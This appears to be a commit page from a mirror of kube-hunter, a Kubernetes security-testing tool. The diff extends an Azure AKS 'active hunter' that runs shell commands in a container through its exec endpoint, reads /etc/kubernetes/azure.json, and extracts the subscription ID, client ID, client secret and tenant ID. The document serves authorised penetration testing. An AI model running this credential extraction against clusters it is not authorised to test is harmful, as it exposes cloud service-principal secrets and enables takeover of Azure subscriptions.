github/kube-hunter
1
0
Fork 0
mirror of https://github.com/aquasecurity/kube-hunter.git synced 2026-05-11 11:47:15 +00:00
Code Issues Packages Projects Releases Wiki Activity

finished aks spn hunting

Browse Source
This commit is contained in:
daniel_sagi
2018-06-11 18:44:54 +03:00
parent 548ae7e486
commit 7e939b4544
1 changed files with 10 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files

13
src/modules/hunting/aks.py
View File

@@ -14,7 +14,7 @@ class AzureSubscription(KubernetesCluster):
name = "Azure Metadata"
class AzureSpnExposure(Vulnerability, Event):
"""By exposing the SPN, the attacker can gain access to azure subscription"""
"""By exposing the SPN, the attacker can gain access to the azure subscription"""
def __init__(self, container):
Vulnerability.__init__(self, AzureSubscription, "Azure SPN Exposure")
self.container = container
@@ -45,6 +45,7 @@ class AzureSpnHunter(Hunter):
self.publish_event(AzureSpnExposure(container=container))
""" Active Hunting """
@handler.subscribe(AzureSpnExposure)
class ProveAzureSpnExposure(ActiveHunter):
def __init__(self, event):
self.event = event
@@ -60,5 +61,11 @@ class ProveAzureSpnExposure(ActiveHunter):
return requests.post(run_url, verify=False, params={'cmd': command}).text
def execute(self):
if self.run("[ -f /etc/kubernetes/azure.json ] && echo Found || echo Not Found", container=self.event.container) == 'Found':
self.event.evidence = self.run("cat /etc/kubernetes/azure.json", container=self.event.container)
raw_output = self.run("cat /etc/kubernetes/azure.json", container=self.event.container)
if "subscriptionId" in raw_output:
subscription = json.loads(raw_output)
self.event.subscriptionId = subscription["subscriptionId"]
self.event.aadClientId = subscription["aadClientId"]
self.event.aadClientSecret = subscription["aadClientSecret"]
self.event.tenantId = subscription["tenantId"]
self.event.evidence = "id: {}".format(self.event.subscriptionId)